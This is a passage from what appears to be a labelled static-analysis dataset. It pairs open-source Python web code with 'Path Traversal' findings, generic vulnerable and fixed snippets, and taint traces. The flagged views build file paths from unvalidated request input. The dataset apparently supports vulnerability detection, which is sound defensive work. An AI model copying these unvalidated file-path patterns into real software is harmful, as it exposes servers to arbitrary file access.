rest_framework.parsers import JSONParser\nimport numpy as np\nimport json\nimport os\nfrom .utils.spectrogram_utils import SpectrogramUtils\nfrom .utils.feature_extraction_utils import FeatureExtractionUtils\nfrom .utils.classification_utils import ClassificationUtils\nfrom .utils.file_utils import FileUtils\nfrom .utils.dir_utils import DirUtils\nfrom .constants.headers import headers_data, headers_clusters, headers_clusters_no_display\n\nfile_utils = FileUtils()\ndir_utils = DirUtils()\n\n\n@api_view(['GET'])\n@parser_classes((JSONParser,))\ndef get_species(request):\n species = os.listdir('clusters/model/')\n species_data = []\n for specie in species:\n with open('clusters/model/' + specie, 'r') as infile:\n data = json.load(infile)\n species_data.append(data)\n return HttpResponse(json.dumps(species_data, separators=(',', ':')))\n\n\n@api_view(['GET', 'POST'])\n@parser_classes((JSONParser,))\ndef get_clusters(request):\n if request.method == 'POST':\n data = request.data\n directory = data['dir']\n files = data['files']\n features, segs, metadata = file_utils.process_files(\n directory, files)\n\n classification_utils = ClassificationUtils()\n\n ex_level = 1\n it_num = 5\n data = np.hstack((features, metadata[:, 6].astype(float)[:, None]))\n mad = 'binomial'\n gad = '3pi'\n\n datanorm, mininums, maximums = classification_utils.norm(data)\n recon, mean_class, std_class = classification_utils.lamda(\n ex_level, it_num, datanorm, mad, gad)\n\n representive_calls = file_utils.get_representative_calls(\n recon, datanorm, metadata)\n\n keys_results = [header['label'] for header in headers_data]\n keys_clusters = [header['label'] for header in headers_clusters]\n keys_clusters_no_display = [header['label']\n for header in headers_clusters_no_display]\n\n data_results = []\n for i, value in enumerate(metadata):\n values = [value[0], str(recon[i]), *\n (value[1:].tolist()), datanorm[i]]\n zipbObj = zip(keys_results, values)\n data_results.append(dict(zipbObj))\n\n data_clusters = []\n for i, value in enumerate(representive_calls):\n zipbObj = zip(keys_clusters + keys_clusters_no_display, value)\n data_clusters.append(dict(zipbObj))\n\n response = {\n 'results': {\n 'headers': headers_data,\n 'data': data_results,\n 'model': {\n 'features': datanorm.tolist(),\n 'min_values': mininums.tolist(),\n 'max_values': maximums.tolist(),\n 'metadata': metadata.tolist()\n }\n },\n 'clusters': {\n 'headers': headers_clusters,\n 'data': data_clusters\n }\n }\n\n return HttpResponse(json.dumps(response, separators=(',', ':')))\n\n\n@api_view(['GET', 'POST'])\n@parser_classes((JSONParser,))\ndef get_segment_in_image(request):\n if request.method == 'POST':\n data = request.data\n spectrogram_utils = SpectrogramUtils()\n filename = spectrogram_utils.get_segment_in_image(data['dir'],\n data['filename'], 1, float(data['start']) - 0.5, float(data['end']) + 0.5, float(data['min_freq']) - 200, float(data['max_freq']) + 200)\n\n response = {\n 'url': filename\n }\n\n return HttpResponse(json.dumps(response, separators=(',', ':')))\n\n\n@api_view(['GET', 'POST'])\n@parser_classes((JSONParser,))\ndef save_cluster(request):\n if request.method == 'POST':\n data = request.data\n\n features = np.array(data['model']['features'])\n min_values = data['model']['min_values']\n max_values = data['model']['max_values']\n metadata = np.array(data['model']['metadata'])\n\n indices = np.array(data['selected'])\n\n audio_path, image_path, metadata_representative = file_utils.save_representative_call(\n data['name'], features[indices], metadata[indices])\n\n model = {\n 'name': data['name'],\n 'metadata': metadata_representative.tolist(),\n 'mean_values': np.mean(features[indices], axis=0).tolist(),\n 'std_values': np.std(features[indices], axis=0).tolist(),\n 'min_values': min_values,\n 'max_values': max_values,\n 'image_path': image_path,\n 'audio_path': audio_path\n }\n\n dir_utils.create_dir('clusters/model/')\n with open('clusters/model/' + data['name'], 'w') as outfile:\n json.dump(model, outfile)\n\n return HttpResponse(json.dumps(model, separators=(',', ':')))\n\n\n@api_view(['GET', 'POST'])\n@parser_classes((JSONParser,))\ndef search_clusters(request):\n if request.method == 'POST':\n data = request.data\n directory = data['dir']\n files = data['files']\n species = data['species']\n features, segs, metadata = file_utils.process_files(\n directory, files)\n\n classification_utils = ClassificationUtils()\n\n ex_level = 1\n it_num = 5\n data = np.hstack((features, metadata[:, 6].astype(float)[:, None]))\n mad = 'binomial'\n gad = '3pi'\n\n num_datos, num_feat = data.shape\n mean_class = 0.5 * np.ones((1, num_feat))\n std_class = 0.25 * np.ones((1, num_feat))\n min_values = np.empty((0, num_feat))\n max_values = np.empty((0, num_feat))\n for specie in species:\n with open('clusters/model/' + specie, 'r') as infile:\n model = json.load(infile)\n mean_class = np.vstack(\n (mean_class, np.array(model['mean_values'])))\n std_class = np.vstack(\n (std_class, np.array(model['std_values'])))\n min_values = np.vstack(\n (min_values, np.array(model['min_values'])))\n max_values = np.vstack(\n (max_values, np.array(model['max_values'])))\n\n general_min_values = np.min(min_values, axis=0)\n general_max_values = np.max(max_values, axis=0)\n\n datanorm, mininums, maximums = classification_utils.norm(\n data, general_min_values, general_max_values)\n recon = classification_utils.predict_lamda(\n ex_level, datanorm, mad, gad, mean_class, std_class)\n\n representive_calls = file_utils.get_representative_calls(\n recon, datanorm, metadata)\n\n keys_results = [header['label'] for header in headers_data]\n keys_clusters = [header['label'] for header in headers_clusters]\n keys_clusters_no_display = [header['label']\n for header in headers_clusters_no_display]\n\n data_results = []\n for i, value in enumerate(metadata):\n species_name = species[recon[i] - 1] if recon[i] > 0 else 'NIC'\n values = [value[0], species_name, *\n (value[1:].tolist()), datanorm[i]]\n zipbObj = zip(keys_results, values)\n data_results.append(dict(zipbObj))\n\n data_clusters = []\n for i, value in enumerate(representive_calls):\n value[0] = species[i - 1] if i > 0 else 'NIC'\n zipbObj = zip(keys_clusters + keys_clusters_no_display, value)\n data_clusters.append(dict(zipbObj))\n\n response = {\n 'results': {\n 'headers': headers_data,\n 'data': data_results,\n 'model': {\n 'features': datanorm.tolist(),\n 'min_values': mininums.tolist(),\n 'max_values': maximums.tolist(),\n 'metadata': metadata.tolist()\n }\n },\n 'clusters': {\n 'headers': headers_clusters,\n 'data': data_clusters\n }\n }\n\n return HttpResponse(json.dumps(response, separators=(',', ':')))", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 112, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "112"}}, {"lineNo": 113, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 113, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.data"}}, {"lineNo": 113, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 137, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "datasave_cluster.data[\"name\"]"}}, {"lineNo": 137, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "0e2dd7430a5fddec7f52c4a296e7b6382639a1ae1a10aa707ddcfca277fa7a04", "license": {"spdx": ["MIT"], "repo": "CCrypto/ccvpn", "path": "ccvpn/views/__init__.py", "repo_head_hexsha": "6bbfd01f41816bea905518f302f4cec474fdd221", "stack_hexsha": "81c3777bd3aa3fe5f25a3ee068f24e1720ba3426", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 53, "entireCode": "import codecs\nimport markdown\nimport os\nimport logging\nfrom pyramid.view import view_config\nfrom pyramid.httpexceptions import HTTPOk, HTTPNotFound\nfrom sqlalchemy import func\nfrom mako.lookup import TemplateLookup\nimport mako.exceptions\nlogger = logging.getLogger(__name__)\n\nfrom ccvpn.models import DBSession, User, IcingaError, IcingaQuery, Gateway, VPNSession\nfrom ccvpn.views import account, admin, api, order # noqa\n\n\n@view_config(context=Exception)\ndef error_view(exc, request):\n logger.exception('Exception', exc_info=exc)\n raise\n\n@view_config(route_name='home', renderer='home.mako')\ndef home(request):\n settings = request.registry.settings\n return {\n 'eur_price': float(settings.get('paypal.month_price', 2)),\n 'btc_price': float(settings.get('bitcoin.month_price', 0.02)),\n 'motd': settings.get('motd'),\n }\n\n\n@view_config(route_name='ca_crt')\ndef ca_crt(request):\n return HTTPOk(body=account.openvpn_ca)\n\n\n@view_config(route_name='page', renderer='page.mako')\ndef page(request):\n root = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n pagesdir = os.path.join(root, 'pages/')\n basename = pagesdir + request.matchdict['page']\n irc_username = request.user.username if request.user else '?'\n\n try:\n translated_file = basename + '.' + request.locale_name + '.md'\n fallback_file = basename + '.md'\n if os.path.isfile(translated_file):\n template = translated_file\n elif os.path.isfile(fallback_file):\n template = fallback_file\n else:\n raise FileNotFoundError()\n\n with open(template, encoding='utf8') as template_f:\n mdt = template_f.read()\n mdt = mdt.replace('${irc_username}', irc_username)\n md = markdown.Markdown(extensions=['toc', 'meta',\n 'codehilite(noclasses=True)'])\n content = md.convert(mdt)\n title = md.Meta['title'][0] if 'title' in md.Meta else None\n return {'content': content, 'title': title}\n except FileNotFoundError:\n return HTTPNotFound()\n\n\ndef format_bps(bits):\n multiples = ((1e9, 'G'), (1e6, 'M'), (1e3, 'K'), (0, ''))\n for d, m in multiples:\n if bits < d:\n continue\n n = bits / (d or 1)\n return '{:2g}{}bps'.format(n, m)\n\n\n@view_config(route_name='status', renderer='status.mako')\ndef status(request):\n settings = request.registry.settings\n domain = settings.get('net_domain', '')\n gateways = DBSession.query(Gateway) \\\n .filter_by(enabled=True) \\\n .order_by(Gateway.country, Gateway.name) \\\n .all()\n l = list(gateways)\n\n for host in l:\n host.host_name = '%s-%s.%s'%(host.country, host.name, domain)\n host.bps_formatted = format_bps(host.bps)\n\n return {\n 'gateways': l,\n 'n_users': DBSession.query(func.count(User.id))\n .filter_by(is_paid=True).scalar(),\n 'n_connected': DBSession.query(func.count(VPNSession.id)) \\\n .filter(VPNSession.is_online==True).scalar(),\n 'n_countries': len(set(i.country for i in l)),\n 'total_bw': format_bps(sum(i.bps for i in l)),\n }\n", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.locale_name"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 46, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "46"}}, {"lineNo": 47, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 53, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "993a2505980766a5faa21efc241df8d3d9de7e232a8a763ac6c5ee88ca524c7a", "license": {"spdx": ["MIT"], "repo": "XiuyuanLu/browse", "path": "sallybrowse/extensions/document/__init__.py", "repo_head_hexsha": "ee5ca57e54fe492d5b109b7cae87d1c8a45dbe25", "stack_hexsha": "a11a0df896228fb34c45a26a79b430c991c408ae", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 21, "entireCode": "#!/usr/bin/env python3\n\nimport sys, os, re, html\nfrom flask import request, Response\nfrom sallybrowse.extensions import BaseExtension\nfrom subprocess import Popen, PIPE\n\nclass Extension(BaseExtension):\n\tPATTERN = re.compile(r\".*\\.(pdf|xlsx|xls|docx|doc|ods|odt|xlt|ppt|pptx|odp|otp|ltx)$\", re.IGNORECASE)\n\tPRIORITY = 100\n\n\tdef __init__(self, *args, **kwargs):\n\t\tBaseExtension.__init__(self, *args, **kwargs)\n\n\tdef preview(self):\n\t\tresponse = Response()\n\t\terror = False\n\n\t\tif request.path.lower().endswith(\".pdf\"):\n\t\t\ttry:\n\t\t\t\tdata = open(request.path, \"rb\").read()\n\n\t\t\texcept:\n\t\t\t\terror = True\n\n\t\telse:\n\t\t\ttry:\n\t\t\t\tpipe = Popen((\"unoconv\", \"--stdout\", \"-f\", \"pdf\", request.path), stdout = PIPE)\n\t\t\t\tdata, _ = pipe.communicate()\n\n\t\t\t\tif pipe.returncode != 0:\n\t\t\t\t\terror = True\n\n\t\t\texcept:\n\t\t\t\terror = True\n\n\t\tif error:\n\t\t\tresponse.data = \"\"\"\n\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\t\t%s\n\t\t\t\t\t\n\t\t\t\t\n\t\t\t\"\"\" % self.ERROR_NO_PREVIEW\n\n\t\telse:\n\t\t\tresponse.data = data\n\t\t\tresponse.mimetype = \"application/pdf\"\n\n\t\treturn response", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 19, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "19"}}, {"lineNo": 21, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 21, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestflask.request.path"}}, {"lineNo": 21, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "f172d6ad79a52531770f2ffbe8f809fb2d67d6c53ea8b0a7ae233d6f13cfa425", "license": {"spdx": ["BSD-3-Clause"], "repo": "yinm8315/Origo_Scrape", "path": "source/origo_scrape/views.py", "repo_head_hexsha": "73f5782e9bd922777de03de7fc3da74965490fa1", "stack_hexsha": "375258e86a135ff7731a5d12af097e4a448f7742", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 369, "entireCode": "# Create your views here.\nfrom django.shortcuts import render, redirect\nfrom django.contrib.auth import authenticate, login\nfrom django.contrib.auth.models import User\nfrom django.template import loader\nfrom django.forms.utils import ErrorList\nfrom django.http import HttpResponse\nfrom .origo import Origo_Thread\nfrom .origo_category import Origo_Category_Thread\nfrom .supply_it import Supply_it_Thread\nfrom .furlongflooring import FF_Thread\nfrom .reydonsports import RDS_Thread\nfrom .reydonsports_category import RDS_Category_Thread\nfrom .totalimports import TotalImports_Thread\nfrom .totalimports_category import TotalImports_Category_Thread\nfrom os.path import join, dirname\n# from .origo import scrape_status as origo_scrape_status\nimport glob, os, zipfile, openpyxl, xlsxwriter\nfrom os import path\nfrom django.contrib.auth.decorators import login_required\n\nfrom bs4 import BeautifulSoup\nimport requests, time, math\nfrom datetime import datetime\n\n\n# from filewrap import Filewrapper\n\n\n# dotenv_path = join(dirname(__file__), '.env')\n# load_dotenv(dotenv_path)\ncur_path = dirname(__file__)\nroot_path = cur_path[:cur_path.rfind(os.path.sep)]\n# root_path = root_path[:root_path.rfind(os.path.sep)]\ncur_site = \"\"\n# t_origo = None\n\nt_origo = []\nt_origo_cat = None\n\nt_supply_it = None\nt_ff = None\n\nt_rds = []\nt_rds_cat = None\n\nt_totalimports = []\nt_totalimports_cat = None\nt_totalimports_delay = []\n\n\n# sites = [{\"url\": \"https://origo-online.origo.ie\", \"short\": \"origo\"}, {\"url\": \"https://www.supply-it.ie/\", \"short\": \"supply_it\"}, {\"url\": \"https://online.furlongflooring.com/\", \"short\": \"furlongflooring\"}]\n# sites = [{\"url\": \"https://www.reydonsports.com/\", \"short\": \"reydonsports\"}]\n# sites = [{\"url\": \"https://www.supply-it.ie/\", \"short\": \"supply_it\"}]\nsites = [{\"url\": \"http://totalimports.ie/\", \"short\": \"totalimports\"}]\n# sites = [{\"url\": \"https://origo-online.origo.ie\", \"short\": \"origo\"}]\n# sites = [{\"url\": \"https://online.furlongflooring.com/\", \"short\": \"furlongflooring\"}]\nscrape_status = None\nTHREAD_COUNT = 5\nALLOW_DELAY = 120\n\n\n@login_required\ndef index(request):\n global sites\n\n context = {}\n context['sites'] = sites\n html_template = loader.get_template( 'main/index.html' )\n return HttpResponse(html_template.render(context, request))\n\n\n@login_required\ndef start_scrape(request):\n global t_origo, t_supply_it, t_ff, t_rds, t_totalimports, t_totalimports_cat, t_totalimports_delay, cur_site, stock_scrape\n\n print(\"start_scrape\")\n cur_site = request.GET[\"site\"]\n scrape_type = request.GET[\"scrape_type\"]\n if cur_site == \"origo\":\n if len(t_origo) == 0 and t_origo_cat == None:\n stock_scrape = 0\n if scrape_type == \"stock\": stock_scrape = 1\n origo_category_scrape(stock_scrape)\n # totalimports_scrape(stock_scrape)\n\n # if t_origo == None or t_origo.status == \"scraping is ended\":\n # t_origo = Origo_Thread(scrape_type)\n # t_origo.start()\n elif cur_site == \"supply_it\":\n if t_supply_it == None:\n t_supply_it = Supply_it_Thread(scrape_type)\n t_supply_it.start()\n elif cur_site == \"furlongflooring\":\n if t_ff == None or t_ff.status == \"scraping is ended\":\n t_ff = FF_Thread(scrape_type)\n t_ff.start()\n elif cur_site == \"reydonsports\":\n if len(t_rds) == 0 and t_rds_cat == None:\n stock_scrape = 0\n if scrape_type == \"stock\": stock_scrape = 1\n reydonsports_scrape(stock_scrape)\n elif cur_site == \"totalimports\":\n if len(t_totalimports) == 0 and t_totalimports_cat == None:\n stock_scrape = 0\n if scrape_type == \"stock\": stock_scrape = 1\n totalimports_category_scrape(stock_scrape)\n # totalimports_scrape(stock_scrape)\n\n return HttpResponse(root_path)\n\n@login_required\ndef get_scraping_status(request):\n global t_origo, t_origo_cat, t_supply_it, t_ff, t_rds, t_rds_cat, t_totalimports, t_totalimports_cat, t_totalimports_delay, stock_scrape, scrape_status\n res = \"\"\n cur_site = request.GET[\"site\"]\n\n if cur_site == \"origo\" :\n # res = t_origo.status\n\n if len(t_origo) > 0: \n scrape_status = \"\"\n for tt in t_origo:\n try:\n scrape_status += tt.status + \"\\n\"\n except:\n scrape_status += \"\\n\"\n # scrape_status = \"\\n\".join([tt.status for tt in t_origo if tt != None])\n i = 0\n for t in t_origo:\n i += 1\n try:\n if t.status != \"ended\": \n break\n except:\n pass\n\n if i == len(t_origo):\n # generate .xlsx file name\n timestamp = datetime.now().strftime(\"%Y-%m%d-%H%M%S\")\n xlsfile_name = 'products-' + timestamp + '.xlsx'\n if stock_scrape == 1: xlsfile_name = 'stock-' + timestamp + '.xlsx'\n xlsfile_name = join(root_path, \"xls\", \"origo\", xlsfile_name)\n\n workbook = xlsxwriter.Workbook(xlsfile_name)\n worksheet = workbook.add_worksheet()\n \n row_num = 0\n for j in range(THREAD_COUNT):\n tmp_wb_obj = openpyxl.load_workbook(join(root_path, \"xls\", \"origo\", str(j) + \"-temp.xlsx\"))\n sheet = tmp_wb_obj.active\n \n for k, row in enumerate(sheet.iter_rows(values_only=True)):\n if k == 0:\n if j == 0:\n # Write Header\n for val, col in zip(row, range(len(row))):\n worksheet.write(0, col, val)\n else:\n row_num += 1\n for val, col in zip(row, range(len(row))):\n worksheet.write(row_num, col, val)\n \n tmp_wb_obj.close()\n workbook.close()\n scrape_status = \"scraping is ended\"\n break\n elif t_origo_cat != None:\n scrape_status = t_origo_cat.status \n if scrape_status == \"ended\":\n t_origo_cat = None\n origo_scrape(stock_scrape)\n # totalimports_scrape()\n \n res = scrape_status \n if scrape_status == \"scraping is ended\":\n t_origo.clear()\n\n elif cur_site == \"supply_it\" :\n res = t_supply_it.status\n elif cur_site == \"furlongflooring\" :\n res = t_ff.status\n elif cur_site == \"reydonsports\" :\n if len(t_rds) > 0: \n scrape_status = \"\"\n for tt in t_rds:\n try:\n scrape_status += tt.status + \"\\n\"\n except:\n scrape_status += \"\\n\"\n # scrape_status = \"\\n\".join([tt.status for tt in t_rds if tt != None])\n i = 0\n for t in t_rds:\n i += 1\n try:\n if t.status != \"ended\": \n break\n except:\n pass\n\n if i == len(t_rds):\n # generate .xlsx file name\n timestamp = datetime.now().strftime(\"%Y-%m%d-%H%M%S\")\n xlsfile_name = 'products-' + timestamp + '.xlsx'\n if stock_scrape == 1: xlsfile_name = 'stock-' + timestamp + '.xlsx'\n xlsfile_name = join(root_path, \"xls\", \"reydonsports\", xlsfile_name)\n\n workbook = xlsxwriter.Workbook(xlsfile_name)\n worksheet = workbook.add_worksheet()\n \n row_num = 0\n for j in range(THREAD_COUNT):\n tmp_wb_obj = openpyxl.load_workbook(join(root_path, \"xls\", \"reydonsports\", str(j) + \"-temp.xlsx\"))\n sheet = tmp_wb_obj.active\n \n for k, row in enumerate(sheet.iter_rows(values_only=True)):\n if k == 0:\n if j == 0:\n # Write Header\n for val, col in zip(row, range(len(row))):\n worksheet.write(0, col, val)\n else:\n row_num += 1\n for val, col in zip(row, range(len(row))):\n worksheet.write(row_num, col, val)\n \n tmp_wb_obj.close()\n workbook.close()\n scrape_status = \"scraping is ended\"\n break\n elif t_rds_cat != None:\n scrape_status = t_rds_cat.status \n if scrape_status == \"ended\":\n t_rds_cat = None\n reydonsports_scrape(stock_scrape)\n # totalimports_scrape()\n \n res = scrape_status \n if scrape_status == \"scraping is ended\":\n t_rds.clear()\n\n elif cur_site == \"totalimports\" :\n if len(t_totalimports) > 0: \n \n # check if thread works fine\n pre_scrape_status = []\n if scrape_status != None: pre_scrape_status = scrape_status.split(\"\\n\")\n scrape_status = \"\"\n\n for tt, i in zip(t_totalimports, range(len(t_totalimports))):\n if tt.status != \"ended\" and len(pre_scrape_status) > i and pre_scrape_status[i] == tt.status:\n t_totalimports_delay[i] += 1\n if t_totalimports_delay[i] >= ALLOW_DELAY:\n totalimports_thread_start(i, stock_scrape)\n else:\n t_totalimports_delay[i] = 0\n try:\n scrape_status += tt.status + \"\\n\"\n except:\n scrape_status += \"\\n\"\n # scrape_status = \"\\n\".join([tt.status for tt in t_totalimports if tt != None])\n i = 0\n for t in t_totalimports:\n i += 1\n try:\n if t.status != \"ended\": \n break\n except:\n pass\n\n if i == len(t_totalimports):\n # generate .xlsx file name\n timestamp = datetime.now().strftime(\"%Y-%m%d-%H%M%S\")\n xlsfile_name = 'products-' + timestamp + '.xlsx'\n if stock_scrape == 1: xlsfile_name = 'stock-' + timestamp + '.xlsx'\n xlsfile_name = join(root_path, \"xls\", \"totalimports\", xlsfile_name)\n\n workbook = xlsxwriter.Workbook(xlsfile_name)\n worksheet = workbook.add_worksheet()\n \n row_num = 0\n for j in range(THREAD_COUNT):\n tmp_wb_obj = openpyxl.load_workbook(join(root_path, \"xls\", \"totalimports\", str(j) + \"-temp.xlsx\"))\n sheet = tmp_wb_obj.active\n \n for k, row in enumerate(sheet.iter_rows(values_only=True)):\n if k == 0:\n if j == 0:\n # Write Header\n for val, col in zip(row, range(len(row))):\n worksheet.write(0, col, val)\n else:\n row_num += 1\n for val, col in zip(row, range(len(row))):\n worksheet.write(row_num, col, val)\n \n tmp_wb_obj.close()\n workbook.close()\n scrape_status = \"scraping is ended\"\n break\n elif t_totalimports_cat != None:\n scrape_status = t_totalimports_cat.status \n if scrape_status == \"ended\":\n t_totalimports_cat = None\n # reydonsports_scrape()\n totalimports_scrape(stock_scrape)\n \n res = scrape_status \n if scrape_status == \"scraping is ended\":\n t_totalimports.clear()\n \n return HttpResponse(res)\n \n@login_required\ndef get_xls_list(request):\n global root_path\n \n res = \"\"\n for site in sites:\n products_arr = []\n stock_arr = []\n \n for file in glob.glob(join(root_path, \"xls\", site[\"short\"], \"products-2*.xlsx\")):\n products_arr.append(file[file.rfind(os.path.sep) + 10 : -5])\n for file in glob.glob(join(root_path, \"xls\", site[\"short\"], \"stock-2*.xlsx\")):\n stock_arr.append(file[file.rfind(os.path.sep) + 7 : -5])\n products_arr.sort(reverse=True)\n stock_arr.sort(reverse=True)\n if res != \"\": res += \", \"\n res += '\"' + site[\"short\"] + '\": {\"full\": \"' + '_'.join(products_arr) + '\", \"stock\": \"' + '_'.join(stock_arr) + '\"}'\n res = '{' + res + '}'\n \n return HttpResponse(res)\n\n@login_required\ndef download(request):\n# Create file_name & file_path\n site = request.GET[\"site\"]\n stock = request.GET[\"stock\"]\n diff = request.GET[\"diff\"]\n recent = request.GET[\"recent\"]\n compare = request.GET[\"compare\"]\n \n file_prefix = \"products-\"\n if stock == \"1\" : file_prefix = \"stock-\"\n \n file_name = file_prefix\n if diff == \"1\" : file_name += \"diff-\"\n file_name += recent\n if diff == \"1\" : file_name += \"_\" + compare\n zipfile_name = site + \"-\" + file_name + \".zip\"\n file_name += \".xlsx\"\n\n file_path = []\n if diff ==\"1\":\n file_path.append(os.path.join(root_path, \"xls\", site, file_prefix + \"add-\" + recent + \"_\" + compare + \".xlsx\"))\n file_path.append(os.path.join(root_path, \"xls\", site, file_prefix + \"remove-\" + recent + \"_\" + compare + \".xlsx\"))\n zipfile_name = site + \"-\" + file_prefix + \"compare-\" + recent + \"_\" + compare + \".zip\"\n else:\n file_path.append(os.path.join(root_path, \"xls\", site, file_name))\n\n response = HttpResponse(content_type='application/zip')\n zf = zipfile.ZipFile(response, 'w')\n\n for file in file_path:\n # Generate if there is no different .xlsx file\n if diff == \"1\" and not path.exists(file) :\n compare_xlsx(site, stock, recent, compare)\n with open(file, 'rb') as fh:\n zf.writestr(file[file.rfind(os.path.sep) + 1:], fh.read())\n\n # return as zipfile\n response['Content-Disposition'] = f'attachment; filename={zipfile_name}'\n return response\n\n@login_required\ndef compare_xlsx(site, stock, recent, compare) :\n global root_path\n\n # fields = ['id', 'category', 'title', 'stock', 'list price', 'nett price', 'description', 'URL', 'image']\n fields = []\n file_prefix = \"products-\"\n if stock == \"1\": \n # fields = ['id', 'stock']\n file_prefix = \"stock-\"\n \n add_file_name = file_prefix + \"add-\" + recent + \"_\" + compare + \".xlsx\"\n remove_file_name = file_prefix + \"remove-\" + recent + \"_\" + compare + \".xlsx\"\n older_products = {}\n newer_products = {}\n\n wb_obj = openpyxl.load_workbook(join(root_path, \"xls\", site, file_prefix + compare + \".xlsx\"))\n sheet = wb_obj.active\n\n older_products = {}\n\n for i, row in enumerate(sheet.iter_rows(values_only=True)):\n if i == 0:\n fields = row\n else:\n try:\n if row[0] in older_products: continue\n except:\n pass\n older_products[row[0]] = row\n\n wb_obj = openpyxl.load_workbook(join(root_path, \"xls\", site, file_prefix + recent + \".xlsx\"))\n sheet = wb_obj.active\n\n newer_products = {}\n\n for i, row in enumerate(sheet.iter_rows(values_only=True)):\n if i > 0:\n try:\n if row[0] in newer_products: continue\n except:\n pass\n newer_products[row[0]] = row\n\n older_products_2 = older_products.copy()\n\n for row in older_products_2:\n try:\n if row in newer_products:\n del older_products[row]\n del newer_products[row]\n except:\n pass\n\n workbook = xlsxwriter.Workbook(join(root_path, \"xls\", site, add_file_name))\n worksheet = workbook.add_worksheet(\"Add\")\n\n i = -1 \n for val in fields:\n i += 1\n worksheet.write(0, i, val)\n \n i = 0\n for row in newer_products:\n i += 1\n j = -1\n for val in newer_products[row]:\n j += 1\n worksheet.write(i, j, val)\n workbook.close()\n\n workbook = xlsxwriter.Workbook(join(root_path, \"xls\", site, remove_file_name))\n worksheet = workbook.add_worksheet(\"Remove\")\n\n i = -1 \n for val in fields:\n i += 1\n worksheet.write(0, i, val)\n \n i = 0\n for row in older_products:\n i += 1\n j = -1\n for val in older_products[row]:\n j += 1\n worksheet.write(i, j, val)\n workbook.close()\n \n\ndef status_publishing(text) :\n global scrape_status\n\n scrape_status = text\n\n\ndef reydonsports_category_scrape(stock_scrape=0):\n global t_rds_cat, t_rds\n t_rds_cat = RDS_Category_Thread(stock_scrape)\n t_rds_cat.start()\n\n\ndef reydonsports_scrape(stock_scrape=0):\n global t_rds\n products_url_txt = open(\"reydonsports_products_url.txt\",\"r\")\n lines = len(products_url_txt.readlines())\n \n start_index = 0 \n \n for i in range(THREAD_COUNT):\n end_index = 